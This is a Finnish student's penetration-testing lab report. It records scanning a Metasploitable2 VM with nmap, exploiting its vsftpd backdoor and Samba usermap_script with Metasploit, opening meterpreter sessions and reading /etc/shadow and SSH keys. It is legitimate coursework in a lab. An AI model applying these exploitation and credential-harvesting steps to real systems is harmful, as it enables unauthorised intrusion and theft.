Tekijä: Aapo Tavio

Pohjana Tero Karvinen 2026: Tunkeutumistestaus 2026 kevät, Tunkeutumistestaus


h3 EternalHomework


Käytettävän ympäristön ominaisuudet

  • Host

    • Host PC: HP Laptop 15s-eq3xxx

    • OS: Ubuntu 24.04.4 LTS

    • Processor: AMD Ryzen™ 7 5825U with Radeon™ Graphics × 16

    • Memory: 16.0 GiB

    • NIC: Realtek Semiconductor Co., 802.11 ax Wireless

    • Architecture: x86_64

    • Firmware version: F.20

    • Kernel Version: Linux 6.17.0-20-generic

  • Virtual Machine

    • OS: Kali GNU/Linux Rolling

    • Release: 2026.1

    • Kernel Version: Linux 6.18.12+kali-amd64

    • Architecture: x86-64

    • Hardware Vendor: QEMU

    • Hardware Model: Ubuntu 24.04 PC Q35 + ICH9, 2009

    • Hardware Version: pc-q35-noble

    • Firmware Version: 1.16.3-debian-1.16.3-2

    • Firmware Date: Tue 2014-04-01

  • Metasploitable2

    • OS: Ubuntu 8.04

    • Hypervisor: KVM/QEMU

    • CPUs: 2

    • Memory: 2048MiB

    • Storage: 8 GiB


x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)

  • € Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta Conducting a penetration test with Metasploit luvun loppuun eli “Summary” loppuun)
  • Mitä ‘nmap -sn’ tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?


  • Metasploitin hyödyt penetraatiotestauksessa ovat

    • Avoin lähdekoodi

    • Yleiset nimeämiskäytännöt helpottavat käyttöä

    • Hyötykuorman (Payload) valitseminen on helppoa

    • Hienovarainen kohdekoneen käyttö

      • Estää kohteen kaatumista
    • Hyväksikäytön jälkeisten (Post exploitations) toimien toiminnallisuudet

  • Metasploit mahdollistaa tietokantojen käyttämisen nmap skannaustulosten varastoimiseen

    • Nmap:n käyttäminen metasploitin konsolin kautta vaatimuksena

      • Komentona db_nmap
    • Workspace tiloilla voidaan vaihtaa tauluja joihin tiedot tallennetaan

      • Mahdollistaa siistit ja spesifit tiedot kohteista
  • Komento exploit yhdessä valinnan -j kanssa suorittaa exploitin taustalla

  • Meterpreter yhteyden voi saada shellin jälkeen komennolla sessions –u [session id]

  • Meterpreter yhteyteen voi ladata lisäosia (plugins)

    • Laajentaa hyökkäyskalustoa kohteessa

(Jaswal 2020. Luku 1 kohdasta “Conducting a penetration test with Metasploit” kohtaan “Summary”)


  • Komento nmap -sn

    • Lähettää

      • ICMP echo paketit

      • TCP SYN flagin porttiin 443

      • TCP ACK flagin porttiin 80

        • Ilman sudoa lähettää SYN flagin
      • ICMP timestamp paketin

      • Sudo oikeuksin LAN-ympäristössä ARP-kyselyjä (–send-ip valinta estää)

    • Ei suorita porttiskannausta

(Nmap:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap)

Käyttämäni lähteen pitäisi mielestäni olla todella luotettava, koska se on työkalun mukana tullut ohje.


b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).

10.11.2026 9:57

Aloitin komennolla

$ sudo msfdb init #Alustaa tietokannan metasploitille

(Rapid7. Metasploit dokumentaatio. URL: Database Support | Metasploit Documentation)

Seuraavaksi komento

$ sudo msfconsole #Yhdistää metasploitin konsoliin

Tein seuraavaksi uuden workspace tilan.

Uusi workspace

Kuva 1. Uusi workspace oli nimeltään h3

Kuvassa komennot

msf > workspace -a h3 #Lisää workspacen nimeltä h3
msf > workspace #Listaa kaikki workspacet
msf > workspace h3 #Vaihtaa workspacen h3:n

Skannasin portteja metasploitablesta tietokantaan komennolla

msf > db_nmap -sV -A -T4 -p- 192.168.100.251 #-sV yrittää selvittää avointen porttien palveluiden versiot, -T4 nopeuttaa skannausta, -A yrittää tunnistaa käyttöjärjestelmän ja sen version, laittaa skriptien skannauksen päälle sekä kertoo kaikki pakettien hyppypisteet (ts. traceroute), -p- skannaa kaikki portit (portit 1-65535)

(Nmap virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap)


c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla “hosts” ja “services”. Kokeile suodattaa näitä listoja tai hakea niistä.

10.4.2026 12:28

Aloitin komennolla

msf > services #Hakee tietokannasta tiedot tallennetuista palveluista

Tietokannasta löytyi paljon palveluja, koska metasploitablessa oli paljon avoinna olevia portteja.

Auki olevat portit

Kuva 2. Metasploitablessa auki olevia portteja

Valinnalla -S voidaan etsiä merkkijonoja tietokannoista.

(Metasploitin virallinen manuaali msf-consolessa. Komento: services -h)

Suodattaminen tietokannasta

Kuva 3. Tietokannasta suodattaminen rivit joissa merkkijono “Apache”

Hain hostit tietokannasta.

Hostit

Kuva 4. Kaikki skannatut hostit listattuna

Samalla -S valinnalla voi hosteja suodattaa merkkijonon perusteella. Hakuja voi suodattaa myös kolumnien mukaan valinnalla -c.

(Metasploitin virallinen manuaali msf-consolessa. Komennot: “services -h” ja “hosts -h”)

Suodatettu kolumnilla

Kuva 5. Hostit suodatettuna kolumnin mukaan


d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.

Yritin etsiä metasploitin haulla sekä netistä tietoa hyökkäyksistä esim. “Wanna cry” ja “ILOVEYOU”. Wanna cry osoittautuikin osittain hyödyntävän Eternalblue haavoittuvuutta.

(Cloudflare. URL: What was the WannaCry ransomware attack?)

En löytänyt kummastakaan cve:ä, joilla olisin voinut hakea lisää tietoa metasploitin haulla. Yritin etsiä myös “VPNFilter” haittaohjelmasta cve:ä ja hain sitä metasploitista tuloksetta.

(Tietoa VPNFilter haittaohjelmasta: Sundell 2018. Mtvuutiset. URL: VPNFilter haittaohjelma mtvuutiset)

Eternalblue haavoittuvuus on kuitenkin todella huomionarvoinen ja se löytyi metasploitista.

Eternalblue exploit

Kuva 6. Eternalblue exploit haettuna metasploitista


e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?

10.4.2026 14:00

Aloitin skannaamalla metasploitablen terminaalista käsin ja tallentamalla tiedot tiedostoihin komennolla

$ sudo nmap -A -T4 -p- -oA nmap-ms2 192.168.100.251 #Valinta -oA tallentaa tiedot kolmeen pää tiedostomuotoon prefixillä nmap-ms2

(Nmap:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap)

Kävin katsomassa, että ne varmasti löytyi kotihakemistostani.

Kotihakemisto

Kuva 7. Kotihakemisto listattuna

Tiedoston nmap-ms2.gnmap teksti oli todella tiiviisti pakattu.

Tiedosto gnmap

Kuva 8. Tiedosto nmap-ms2.gnmap tulostettuna näytölle

Tiedosto nmap-ms2.nmap oli puolestaan muotoilultaan samanlainen kuin skannauksen jälkeen saatavat tiedot terminaalissa.

Tiedosto nmap

Kuva 9. Osa tiedostosta nmap-ms2.nmap tulostettuna näytölle

Tiedosto nmap-ms2.xml oli odotetusti xml-muodossa.

Tiedosto xml

Kuva 10. Osa tiedostosta nmap-ms2.xml tulostettuna näytölle

Eri tiedostomuotojen hyödyt ja heikkoudet ovat luettavuus, käsittely ja yhteensopivuus. Tiedostomuotoa xml käytetään melko laajasti monessa paikassa, joten se on varmasti hyvä yhteensopivuuden kannalta vietäessä ja tuotaessa tiedostoja järjestelmistä toiseen.

Tiedostopäätteellä nmap olevaa tiedostoa on todella helppo lukea. Nmap:n omilta verkkosivuilta käy ilmi, että tiedostopäätteellä oleva gnmap on vanhentunutta formaattia useimmiten. Xml muodossa oleva tiedosto useimmiten on parempi vaihtoehto gnmap tiedostolle. Gnmap on kuitenkin omalla tavalla selkeä, koska se listaa kaikki hostit omalle rivillensä.

(Nmap. URL: Nmap Output)

Gnmap microssa

Kuva 11. Tiedosto nmap-ms2.gnmap avattuna microlla

Metasploitin tietokantaan tallentamisen etuna on helppokäyttöisyys, koska kaikki tiedot voi tarkastaa poistumatta metasploitin konsolista. Tietoja on myös helppo pitää järjestyksessä vaihtelemalla workspace-tiloja.


f) Murtaudu Metasploitablen vsftpd-palveluun

11.4.2026 16:31

Kävin ensiksi varmistamassa portin metasploitin tietokannasta. Komentona

msf > services -S ftp #Etsii ftp merkkijonoa tietokannasta

Suodattaminen merkkijonolla

Kuva 12. Tietokannassa olevat rivit merkkijonolla ftp

Kuten hausta ilmeni, vsftpd:n portti oli 21. Hain metasploitin tietokannasta exploitteja “vsftpd” merkkijonolla.

Suodattaminen merkkijonolla

Kuva 13. Merkkijonolla vsftpd haetut tulokset moduulitietokannasta

Löytyi kaksi moduulia, joista toinen oli auxiliary ja toinen oli exploit. Valitsin exploitin komennolla

msf > use 1 #Valitsee moduulin numero 1 uusimmasta listauksesta

Metasploit ilmoitti payload:n olevan “meterpreter_reverse_tcp”, joka on meterpreter yhteys kohdekoneelta hyökkääjän koneelle. Tämä voi helpottaa huomattavasti onnistumista, koska useimmiten palomuurit sallivat ulospäin avaavat yhteydet, mutta estävät ulkoa sisällepäin avaavat. “Bind shell” avaisi yhteyden ulkoa sisälle.

Payload

Kuva 14. Oletus payload valitessa vsftpd exploitin

Katsoin tarvittavat säädöt hyökkäykseen komennolla

msf exploit(unix/ftp/vsftpd_234_backdoor) > show options #Näyttää exploitin valinnat

Valinnat

Kuva 15. Valinnat exploitille

Kuten kuvasta käy ilmi, pakollisia arvoja muuttujille puuttuu kohdista “RHOSTS” ja “LHOST”. Muissa pakollisissa kohdissa (Required-kolumnissa “yes”) oli valmiina arvot, joita ei mielestäni tarvinnut lähteä muuttamaan.

Asetin “RHOSTS” kohtaan metasploitablen ip-osoitteen komennolla

msf exploit(unix/ftp/vsftpd_234_backdoor) > setg RHOSTS 192.168.100.251 #Komento setg asettaa arvon muuttujaan RHOSTS globaalisti

(Komennon lähteenä metasploitin virallinen manuaali msf-consolessa exploitin ollessa valittuna. Komento: help)

Sama homma muuttujalle “LHOST”, mutta Kalin ip-osoite muuttujan arvoksi.

setg LHOST 192.168.100.250

Sitten ei muuta kuin ajamaan exploit komennolla

msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit -j #Valinta -j suorittaa taustalla exploitin

(Valinnan lähteenä: Jaswal 2020. Luku 1)

En saanut sessioita auki kuitenkaan.

Yhteydet

Kuva 16. Yhteyksiä ei ollut käytettävissä

Kokeilin tämän jälkeen ajaa exploitin ilman valintaa “-j”. Ajoin kaksi kertaa, koska ekalla tuli ilmoitus, että yhteyttä ei luotu.

Yritykset

Kuva 17. Epäonnistuneet exploit yritykset ilman valintaa -j

Kävin tarkastamassa valinnat.

Muuttuja

Kuva 18. RHOSTS muuttuja

Muuttuja

Kuva 19. LHOST muuttuja

Molemmat olivat oikein, joten ajattelin nyt metasploitablen olevan tilassa, joka olisi oikeassa penetraatiotestauksessa ikävä tilanne. Portti oli nimittäin ilmeisesti varattu jo yhteydelle, mutta en saa siihen silti uuttakaan yhteyttä. Tilanteessani voin kuitenkin käynnistää metasploitablen uudelleen, jotta portti vapautuisi uudestaan. Käynnistin siis metasploitablen uudestaan.

Edelleen tuli samanlainen ilmoitus, että exploit oli suoritettu, mutta sessioneita ei ollut luotu.

Uusi yritys

Kuva 20. Uusi yritys murtautua metasploitablen käynnistyksen jälkeen

Aloin miettimään kahta vaihtoehtoa ongelmaan. Minulla oli palomuurissa Kalilla vain reikä portissa 22. Pidin tätä todennäköisimpänä ongelmana. Toinen olisi, että portti 4444 olisi jo käytössä, jolloin siihen ei saisi yhteyttä. Lähdin tekemään reiän Kalin palomuurin porttiin 4444.

Sitten uusi yritys, mutta edelleenkään ei toiminut.

Uusi yritys

Kuva 21. Samanlainen vastaus exploitiin kuin aiemmin

Olin hämmästynyt, koska sain kuitenkin tehtyä exploitin koulussa tunnilla, tosin ilman palomuuria Kalissa. Lähdin katsomaan, että oliko Kalissa portti 4444 varattu jo.

Portit

Kuva 22. Kuuntelevat portit listattuna ss-työkalulla

Ei ollut porttikaan käytössä. Käynnistin uudestaan Kalin sekä metasploitablen. Laittaessani ip-osoitetta muuttujiin uudestaan huomasin toisen portin, joka todennäköisesti pitäisi olla avoinna. Portti 8080 ilmeisesti käsittelee hyötykuormaa (payload).

Muuttuja

Kuva 23. Muuttuja näkyi exploitin valinnoissa


11.4.2026 18:11

Avasin portin 8080 Kalista ja sitten uudestaan yrittämään exploittia. Tällä kertaa onnistui, joten ongelmana oli selkeästi palomuurin säännöt.

Onnistunut yhteys

Kuva 24. Lopulta sain meterpreter yhteyden metasploitableen

Pidin pienen tauon, joten laitoin meterpreter yhteyden taustalle komennolla

meterpreter > background


g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.

11.4.2026 18:54

Lähdin ensimmäiseksi katsomaan tiedostoa /etc/shadow, koska siellä olisi käyttäjien tietoja ja mahdollisesti salasanoja. Minulla on jo metasploitablessa pääkäyttäjän oikeudet, mutta root:n tiedot ovat aina halutuimpia tietoja. Shadow tiedostossa olikin root-käyttäjän salasanan tiiviste, jonka tiivistealgoritmi oli MD5. Tiivisteen alussa dollarien välissä oleva numero kertoo käytetyn tiivistealgoritmin.

(Garn 2021. URL: An introduction to hashing and checksums in Linux)

Tietoja paakayttajasta

Kuva 25. Root-käyttäjän tiedot tiedostossa shadow

Salasanaa voisi brute-force menetelmää käyttäen saada erilaisilla ohjelmilla selkokieliseksi. Käyttäjä “msfadmin” olisi myös kiinnostava, koska kaikki “admin” sanan sisältävät ovat lupaavia käyttäjiä, koska useimmiten niillä on joitain korotettuja oikeuksia. Oikeastaan kaikki käyttäjät, joilla on tiiviste salasanan kohdalla ovat potentiaalisia kohteita, koska niitä voi yrittää brutettaa ja toki mahdollisuuksien mukaan päästä urkkimaan MitM (Man in the Middle) tekniikkaa hyödyntäen.

Monella käyttäjällä oli salasanan sarakkeessa merkki “*” tai “!”. Nämä voi olla todella hyviä kohteita, koska huutomerkillä varustettuun käyttäjään on salasanalla kirjautuminen lukittu, mutta vaihtaessa käyttäjää sinne on mahdollista päästä. Asteriskilla merkitty puolestaan kertoo, että salasanalla kirjautuminen ei ole ollenkaan mahdollista kohteeseen, mutta jälleen järjestelmässä sisällä ollessa sinne voi pystyä vaihtamaan.

(Yekeen 2025. URL: The Meaning of the Symbols !, !! and * in /etc/shadow | Baeldung on Linux)

Shadow tiedostoa

Kuva 26. Osa tiedostosta /etc/shadow


11.4.2026 19:41

Kotihakemistot ovat myös hyvä paikka etsiä lisätietoa käyttäjistä ja ympäristöstä. Sieltä voi löytää esimerkiksi käyttäjien ssh-avaimia, joilla voi päästä kirjautumaan sisään. Esimerkiksi “user” käyttäjän kotihakemistossa oli ssh-avaimia.

Ssh avaimet

Kuva 27. Käyttäjän user julkinen ja yksityinen ssh-avaimet

Ssh-yhteydessä olisi hyökkääjän kannalta hyvä asia, että tiedonsiirto salataan hyökkääjän ja kohteen välillä. Näin ollen voisi läpäistä monta puolustuskerrosta, koska on vaikeampi nähdä ja analysoida liikenteen sisältöä, joka herättäisi selkokielisenä huomiota puolustuksessa.


h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).

11.4.2026 20:24

Kokemuksesta tiesin jo telnetin kautta pääsevän sisälle metasploitableen, joten halusin kokeilla jotain muuta. Löysinkin sivuston, jossa kerrottiin samban version 3.0.20 olevan haavoittuvainen ja haavoittuvuuteen löytyisi exploit moduuli suoraan metasploitista.

(Rapid7. URL: Rapid7 Vulnerability Database)

Löysin moduulin metasploitista.

Haku

Kuva 28. Exploit löytyi hakusanalla usermap_script

Ottaessani käyttöön moduulin sain ilmoituksen, että payload on “reverse_netcat”.

Muuttujien arvot olivat valmiina, koska olin aikaisemmin ip-osoitteet määrittänyt globaalisti.

Portit

Kuva 29. Paikallinen portti oli 4444 ja kohdeportti 139

Sitten vain päälle komennolla “exploit”. Sain ilmeisesti hieman huonomman puoleisen shellin käyttöön.

Shell

Kuva 30. Shellissä ei ollut promptia ollenkaan

Shell oli hieman sekava, mutta sisällä olin kuitenkin. Laitoin yhteyden taustalle. Yritin muuttaa shellin meterpreteriksi komennolla

msf exploit(multi/samba/usermap_script) > sessions -u 2 #Valinta -u määrittää session id:n mukaan sessionin, joka halutaan muuttaa meterpreteriin

(Valinnan lähteenä Metasploitin virallinen ohje komennolla: sessions -h)

En saanut yhteyttä meterpreteriksi.

Yhteydet

Kuva 31. Sessioneita oli vain yksi

Päättelin vastauksesta, että minun pitäisi avata Kalista portti 4433, koska ilmeisesti “handler” yritti ottaa yhteyden sieltä. Avasin portin Kalista ja yritin uudelleen mutta sain hieman hämmentävän vastauksen, koska siinä avattiin useampaa sessionia.

Yhteyksien luominen

Kuva 32. Kaksi meterpreter yhteyttä luotiin

Yhteydet listattuna

Kuva 33. Varmistin yhteydet listaamalla ne

En tiedä miksi kaksi yhteyttä luotiin, mutta ei kai sillä niin väliä ollut. Yhdistin sessioon numero 3 ja sain hyvän meterpreter yhteyden.

Listauksia

Kuva 34. Käyttäjä id ja kotihakemistot listattuna metasploitablesta


i) Demonstroi Meterpretrin ominaisuuksia.

11.4.2026 21:17

Päätin lähteä ensimmäiseksi näyttämään, miten voin liittyä toiseen kohdekoneen prosessiin käyttämällä “migrate” komentoa.

Ensiksi listasin prosessi id:n, joka oli tämänhetkinen prosessi, jossa ajoin meterpreter yhteyttäni.

Prosessi tunnus

Kuva 35. Prosessi id oli 4783

Seuraavaksi katsoin komennolla “ps” kaikki prosessit, jotka pyörivät metasploitablessa. Ensinnäkin tämänhetkinen prosessini oli jokin melko epämääräinen mielestäni.

Prosessi

Kuva 36. Prosessin nimi oli wllji

Yritin ensimmäiseksi prosessiin numero 1 yhdistyä komennolla

meterpreter > migrate 1

Prosessi 1 oli init.

Prosessi

Kuva 37. Prosessi oli root-käyttäjän

Sain kuitenkin virheilmoituksen.

Virheilmoitus

Kuva 38. Virheilmoitus yhdistettäessä prosessiin 1

Sain käsityksen vastauksesta, että en voi yhdistää prosessia toiseen arkkitehtuuriin. Koska nykyisen prosessini arkkitehtuuri oli “i686”, minun pitää toiseen saman arkkitehtuurin prosessiin yhdistyä. Prosessi numero 2 oli samaa arkkitehtuuria, joten yritin siihen.

Prosessi

Kuva 39. Prosessi 2 oli root-käyttäjän

Sain kuitenkin samanlaisen virheilmoituksen.

Virheilmoitus

Kuva 40. Samanlainen virheilmoitus tuen puutteesta

Tällä kertaa tajusin, että ilmeisesti minun meterpreter yhteyteni ei tukenut “migrate” komentoa.

Tietokoneen kameroita pystyy hyödyntämään hyökkäyksissä. Niistä voi esim. ottaa näyttökuvia. Kamerat pystyy myös listaamaan.

Kamerat listattuna

Kuva 41. Kameroita ei löytynyt metasploitablesta (yllätys!)


j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.

12.4.2026 08:44

Tallensin shell-sessionin Kalilla komennolla

$ script -fa h3-typescript #script tallentaa shell-sessionin tiedostoon, valinta -f laittaa output:n reaaliaikaisesti tiedostoon, valinta -a jatkaa tekstiä tiedostoon (append), luotava tiedosto on nimeltään h3-typescript

(Script:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man script)

Ajoin muutamia ls-komentoja ja avasin osan tiedostosta /usr/share/wordlists/rockyou.txt, jolloin sain paljon tavaraa typescript tiedostoon.

Lopetin tiedostoon shell-sessionin tallentamisen komennolla

$ exit


k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA…) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) ‘grep -r’ -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.

12.4.2026 9:05

Ajoin komennot:

$ mkdir Pentesting-h3 #Luo hakemiston nimeltä Pentesting-h3 nykyiseen hakemistopolkuun
$ mv h3-typescript nmap-ms2.gnmap nmap-ms2.nmap nmap-ms2.xml Pentesting-h3 #Siirtää tiedostot hakemistoon Pentesting-h3
$ cd Pentesting-h3 #Vaihtaa käsiteltävän hakemiston uuteen hakemistoon

Metasploitablen MAC-osoite päättyi tavuihin 12:16 ja halusin tietää koko MAC-osoitteen. Lähdin hakemaan grepillä näitä rivejä. Valinta -r etsii rekursiivisesti hakemistopuun tiedostoista lainausmerkeissä määriteltyä merkkijonoa. Hakeminen onnistuisi ilman lainausmerkkejäkin, mutta minusta ne selkeyttää rakennetta hieman.

Vastaus komentoon

Kuva 42. Kolme riviä löytyi grepillä

Halusin hieman lisätietoa ympäröivistä riveistä, jotta pystyy hahmottamaan kokonaiskuvaa paremmin. Valinnalla -C [numero] saa sekä ennen että jälkeen osuman tulostettua halutun määrän rivejä.

(Akshay 2025. URL: grep command in Unix/Linux - GeeksforGeeks)

Lisäksi valinta -n tulostaa rivinumeron tiedostossa.

Vastaus komentoon

Kuva 43. Kaksi lisäriviä ennen ja jälkeen osuman

Oletetaan skenaario, että olen kuullut jonkun tiedoston sisältävän tietoja apachen haavoittuvasta versiosta. Kokeilin ensimmäiseksi pelkästään komennolla

$ grep -rn "apache" #Hakee rekursiivisesti merkkijonoa apache ja merkkaa rivinumerot mukaan

Sain todella monta osumaa, joten tulostus ei näyttänyt kaikkea. Löysin kuitenkin tehtävän vinkeistä neuvoa. Olennaista oli putkittaa haku less:n ja käyttää valintaa -R.

(Karvinen. URL: Tunkeutumistestaus)

Valinta -R liittyy jotenkin ANSI väreihin ja escape merkkeihin.

(Less:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man less)

Ymmärsin manuaalista, että escape merkit luetaan raakana, jolloin teksti näyttää “normaalimmalta”. Seuraavaksi siis komentona

$ grep -rni -C 3 --color=always "apache" | less -R #Valinta -i ottaa isot sekä pienet kirjaimet huomioon, valinta --color=always laittaa värit tulostukseen mukaan

Monesta rivistä kävi ilmi, että web-palvelimen apachen versio oli 2.2.8.

Tietoja apachesta

Kuva 44. Apachen tietoja tiedostossa nmap-ms2.nmap

Tietoja apachesta

Kuva 45. Apachen tietoja tiedostossa nmap-ms2.xml

Lisäksi porteissa 8009 ja 8180 oli Apache Jserv ja Tomcat demonit.

Tietoja apachesta

Kuva 46. Apachen tietoja porteissa 8009 ja 8180


l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa “Attaack!” ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)

Taktiikoista käytin tiedustelua (reconnaissance) skannatessani kohdetta nmapilla. Resurssien hyödyntäminen (resource development) ja tunnistetietojen käyttöoikeus (credential access) tapahtui puolestaan esim. tutkiessani shadow tiedostoa, jossa oli käyttäjiä ja heidän salasanoista tietoa. Ensipääsy (initial access) taktiikkaa käytin ulkoisen etäpalvelun (external remote services) tekniikalla ottaessani reverse shellin kohdekoneeseen. Lisäksi tekniikkana ensipääsyssä oli julkisen sovelluksen hyväksikäyttö (exploit public-facing application), kun toteutin metasploitilla ftp ja samba demoneihin hyökkäyksen.

Toteutus (execution) taktiikka toteutui mielestäni payloadin ajaessa kohdekoneella. Ajoin myös shellin ja meterpreterin kautta komentoja, jotka ovat myös taktiikkaan sidottuja tekniikoita. Olemassaolo (persistence) puolestaan toteutui laittaessani reverse shellin pystyyn ja yritin vielä lisätä olemassaoloa yhdistymällä muihin prosesseihin kohdekoneella. Prosessin yhdistäminen vähemmän huomiota herättävään prosessiin kuuluisi ehkä enemmänkin puolustusväistö (defense evasion) taktiikkaan, mutta se myöskin lisää yleensä olemassaoloakin.

Todella laajasti tuli tekniikoita ja taktiikoita hyödynnettyä. Kerääminen (collection) sekä komento ja hallinta (command and control) tuli toteutettua myös, mutta todella moni tekniikka kuuluu moneen taktiikkaan. Huomasin selaillessani Mitren sivuja, että monessa taktiikassa oli samoja tekniikoita lueteltuna. Taktiikoita ja tekniikoita voi lukea Mitren sivuilta Tactics - Enterprise | MITRE ATT&CK.


m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.

En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.


n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?

En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.


o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten Sliver tai Scarecrow.

En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.


p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: Install Metasploitable 3 – Vulnerable Target Computer

En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.


q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)

En tehnyt kyseistä tehtävää, koska aikaa oli kulunut enemmän kuin tarpeeksi jo aikaisempiin tehtäviin.



Lähteet

Akshay Rajput 1. grep command in Unix/Linux. GeeksforGeeks. Luettavissa: grep command in Unix/Linux - GeeksforGeeks. Luettu: 12.4.2026.

Cloudflare. What was the WannaCry ransomware attack?. Luettavissa: What was the WannaCry ransomware attack?. Luettu: 10.4.2026.

Garn, D. 18.1.2021. An introduction to hashing and checksums in Linux. Red Hat Blog. Luettavissa: An introduction to hashing and checksums in Linux. Luettu: 11.4.2026.

Jaswal, N. 2020. Matering Metasploit. 4. painos. Packt Publishing Ltd.. Birmingham. E-kirja. Luettu: 8.4.2026.

Karvinen, T. Tunkeutumistestaus. Luettavissa: Tunkeutumistestaus. Luettu: 12.4.2026.

Less:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man less. Luettu: 12.4.2026.

Metasploitin virallinen manuaali msf-consolessa. Luettu: 11.4.2026.

Mitre. Enterprise tactics. Luettavissa: Tactics - Enterprise | MITRE ATT&CK. Luettu: 12.4.2026.

Nmap:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man nmap. Luettu: 10.4.2026.

Nmap. Output. Luettavissa: Nmap Output. Luettu: 10.4.2026.

Rapid7. Metasploit dokumentaatio. What is msfdb?. Luettavissa: Database Support | Metasploit Documentation. Luettu: 10.4.2026.

Rapid7. Samba “username map script” Command Execution. Luettavissa: Rapid7 Vulnerability Database. Luettu: 11.4.2026.

Script:n virallinen manuaali Kali Linuxin terminaalissa. Komento: man script. Luettu: 12.4.2026.

Sundell, P. 7.6.2018. Mtvuutiset. Reitittimiin kohdistuva haittaohjelma onkin pahempi kuin luultiin: Jopa pankkitilin voi tyhjentää täysin huomaamatta. Luettavissa: VPNFilter haittaohjelma mtvuutiset. Luettu: 10.4.2026.

Yekeen, A. 20.6.2025. The Meaning of the Symbols !, !! and * in /etc/shadow. Luettavissa: The Meaning of the Symbols !, !! and * in /etc/shadow | Baeldung on Linux. Luettu: 11.4.2026.







Tätä dokumenttia saa kopioida ja muokata GNU General Public License (versio 3 tai uudempi) mukaisesti. http://www.gnu.org/licenses/gpl.html